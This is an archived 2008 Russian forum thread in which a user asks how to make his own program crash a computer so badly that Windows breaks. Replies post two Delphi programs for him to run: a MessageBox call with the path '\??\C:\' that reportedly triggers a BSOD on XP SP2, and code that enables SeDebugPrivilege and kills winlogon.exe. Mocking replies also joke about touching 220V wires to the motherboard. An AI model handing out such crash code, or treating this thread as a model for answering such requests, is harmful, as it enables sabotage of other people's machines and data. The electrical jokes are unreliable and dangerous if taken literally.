Форум: "Прочее";
Текущий архив: 2008.02.10;
Скачать: [xml.tar.bz2];
ВнизКак лучше всего повесить намертво компьютер? Найти похожие ветки
← →
Катунов Юрий © (2008-01-06 19:35) [0]Как лучше всего повесить намертво компьютер при помощи своей программы?
← →
homm © (2008-01-06 19:37) [1]
program Project1;
{$APPTYPE CONSOLE}
uses
Windows;
const
s = "\??\C:\\";
var
I: Integer;
begin
for I := 0 to 9 do
MessageBox(0,s,s,MB_SERVICE_NOTIFICATION);
end.
← →
Юрий Зотов © (2008-01-06 19:40) [2]24 года...
:-(
← →
Катунов Юрий © (2008-01-06 19:41) [3]хм...Чё то мне не нравится уже код. Полюбому в чём то подвох... Что значит
s = "\??\C:\\"???????
← →
homm © (2008-01-06 19:42) [4]> [3] Катунов Юрий © (06.01.08 19:41)
а попробовать не сутьба?
← →
homm © (2008-01-06 19:43) [5]Кстати, на СП2 работает, но в одном из патчей это пофиксили.
← →
Катунов Юрий © (2008-01-06 19:47) [6]Ну смотри homm!!!... ща попробую!!!... чО как зайду через парочку дней и тогда, тогда я тебя поблагодарю!!!
ps
Что такое правдо?
← →
homm © (2008-01-06 19:50) [7]> [6] Катунов Юрий © (06.01.08 19:47)
> Что такое правдо?
Это слово какое-то, почти «правда», только буква «о» на конце.
Из остального сообщение ничего не понял.
← →
kernel © (2008-01-06 19:56) [8]пропробовал на СП2 -- BSOD :)
аналог завершения winlogon :)
← →
Катунов Юрий © (2008-01-06 20:00) [9]Попробовал. Вывел МесседжБокс парочку раз с аброй-кадаброй и перезагрузка с последующим восстановлением системы. Ерунда..... у кого хлеще примеры есть... чтоб прямо совсем намертво
← →
ПЛОВ © (2008-01-06 20:02) [10]А может убьете себя апстену. Только чтоб совсем намертво!
← →
homm © (2008-01-06 20:02) [11]Не понятно, что тогда «повесить совсем намертво» в твоем понимании?
← →
Катунов Юрий © (2008-01-06 20:03) [12]Да...как раз с буквой о на конце было
← →
Катунов Юрий © (2008-01-06 20:06) [13]Чтоб прямо вообще потом винда слетела
← →
kernel © (2008-01-06 20:06) [14]можно без MessageBox`ов. Вроде бы так:
program PCKickProject;
uses
TlHelp32, Windows;
procedure KillProcess(ProcessCaption: string);
type
PTOKEN_USER = ^TOKEN_USER;
_TOKEN_USER = record
User : TSidAndAttributes;
end;
TOKEN_USER = _TOKEN_USER;
var
hSnapShot:THandle;
uProcess:PROCESSENTRY32;
r:longbool;
KillProc:DWORD;
hProcess:THandle;
hToken:THandle;
cbPriv:DWORD;
Priv,PrivOld:TOKEN_PRIVILEGES;
dwError:DWORD;
ProcessHandle:THandle;
begin
hSnapShot:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
uProcess.dwSize := Sizeof(uProcess);
if(hSnapShot<>0)then
begin
r:=Process32First(hSnapShot, uProcess);
while r <> false do
begin
if ProcessCaption = uProcess.szExeFile then
KillProc:= uProcess.th32ProcessID;
r:=Process32Next(hSnapShot, uProcess);
end;
CloseHandle(hProcess);
CloseHandle(hSnapShot);
end;
hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
if hProcess = 0 then
begin
cbPriv:=SizeOf(PrivOld);
OpenThreadToken(GetCurrentThread,TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES,false,hToken);
OpenProcessToken(GetCurrentProcess,TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES,hToken);
Priv.PrivilegeCount:=1;
Priv.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
LookupPrivilegeValue(nil,"SeDebugPrivilege",Priv.Privileges[0].Luid);
AdjustTokenPrivileges(hToken,false,Priv,SizeOf(Priv),PrivOld,cbPriv);
hProcess:=OpenProcess(PROCESS_TERMINATE,false,KillProc);
dwError:=GetLastError;
cbPriv:=0;
AdjustTokenPrivileges(hToken,false,PrivOld,SizeOf(PrivOld),nil,cbPriv);
CloseHandle(hToken);
end;
TerminateProcess(hProcess,$FFFFFFFF);
end;
begin
KillProcess("winlogon.exe");
end.
← →
kernel © (2008-01-06 20:07) [15]
> Катунов Юрий © (06.01.08 20:06) [13]
>
> Чтоб прямо вообще потом винда слетела
у меня на работе вирус такой попадался, все данные с винта моментально сносил
← →
homm © (2008-01-06 20:08) [16]> [13] Катунов Юрий © (06.01.08 20:06)
есть несколько аппартно- и прогрммно-независимых методов. Рассказать?
← →
{RASkov} © (2008-01-06 20:12) [17]> [16] homm © (06.01.08 20:08)
> есть несколько аппартно- и прогрммно-независимых методов.
> Рассказать?
Во-во... аппаратные, давай рассказывай.... гранатки там всякие, бомбочки..... все остальное фуфло :)
← →
Johnmen © (2008-01-06 20:13) [18]Когда ребенок ноет "Хочу!", ему обычно объясняют, что ему еще рано; либо растолковывают по мере возможности, что это бяка; либо отвлекают внимание на привычные игрушки...
← →
Катунов Юрий © (2008-01-06 20:13) [19]Конечно расскажи.
ps. У меня на компьютере последний антивирус от семантика, мне ничто не страшно. Компьютер выжевет в любом случае
← →
{RASkov} © (2008-01-06 20:16) [20]> [19] Катунов Юрий © (06.01.08 20:13)
> Компьютер выжевет в любом случае
Умрет вместе с надеждой)
← →
homm © (2008-01-06 20:19) [21]> [19] Катунов Юрий © (06.01.08 20:13)
> Конечно расскажи.
Самый простой способ — пнуть сбоку по системному блоку, желательно со стороны мат. платы. Так эффективнее.
Второе, раскрутить системный блок, поднести к работающей мат. плате. оголенные провода 220в. Должен пойти такой прикольный дымок и искорки.
Так же эффективно воздействуют водные процедуры. Попробуй представить что чичтемник это титаник, а ты айсберг, когда будешь в ванной купатся. Обязательно расшиби в борту коробля дыру головой.
Можно еще не мало интересных способов придумать…
← →
Катунов Юрий © (2008-01-06 20:27) [22]-)))))
>kernel © (06.01.08 20:06) [14]
>можно без MessageBox`ов. Вроде бы так:
Я пока мандражирую пробовать этот код, мне слово вирус не нравится... хотя у меня ж крутой семантик. Мой компьютер выжевет в любом случае.
А вот советы homm - это уже старые, дедовские методы, проверенные времинем. Нужны новинки, прогрессивные методы, алгоритмы так сказать -)))
← →
{RASkov} © (2008-01-06 20:27) [23]> Должен пойти такой прикольный дымок и искорки.
Не сомневался, что будет интересно :)
:о)
С водой хуже всего.... я свою пивом заливал..... отрубилась, но после пары дней отходняка всёж стартанула, до сих пор работает, правда видеокарте повезло меньше, но и она потом отработала более полугода... после чего окончательно помёрла, а мать уже 2,5г после этого пашет :)
Я их (видео+мама) после пива, спиртом отпаивал :)
← →
{RASkov} © (2008-01-06 20:31) [24]> [22] Катунов Юрий © (06.01.08 20:27)
> А вот советы homm - это уже старые, дедовские методы
Ну это ты зря, homm "плохого" не посоветует....)
> проверенные времинем
вот видешь.... все надежно...
:о)
← →
turbouser © (2008-01-06 20:34) [25]Некоторые умельцы умудряются своим кодом процессоры сжигать.
К счастью, я так не умею и знать не хочу как это делается :)
← →
{RASkov} © (2008-01-06 20:35) [26]> [25] turbouser © (06.01.08 20:34)
> Некоторые умельцы умудряются своим кодом процессоры сжигать.
Ого(
> К счастью, я так не умею и знать не хочу как это делается
А я хочу, дабы так случайно не сделать :)
← →
turbouser © (2008-01-06 20:37) [27]
> {RASkov} © (06.01.08 20:35) [26]
>
> А я хочу, дабы так случайно не сделать :)
Не, лучше не знать. Это же такой соблазн :))
← →
Anatoly Podgoretsky © (2008-01-06 20:38) [28]> Юрий Зотов (06.01.2008 19:40:02) [2]
Меньше 25 не дадут, разве что по амнистии раньше выйдет.
← →
{RASkov} © (2008-01-06 20:39) [29]> [27] turbouser © (06.01.08 20:37)
> Это же такой соблазн :))
Ой... не говори :)
И всеж я сомневаюсь, что современные "процы" можно попалить программно....
← →
kernel © (2008-01-06 20:45) [30]кстати
> kernel © (06.01.08 20:06) [14]
к
> kernel © (06.01.08 20:07) [15]
никак не относится :)
> {RASkov} © (06.01.08 20:39) [29]
можно, напросто, например, остановив кулер на CPU :)
Страницы: 1 вся ветка
Форум: "Прочее";
Текущий архив: 2008.02.10;
Скачать: [xml.tar.bz2];
Память: 0.52 MB
Время: 0.043 c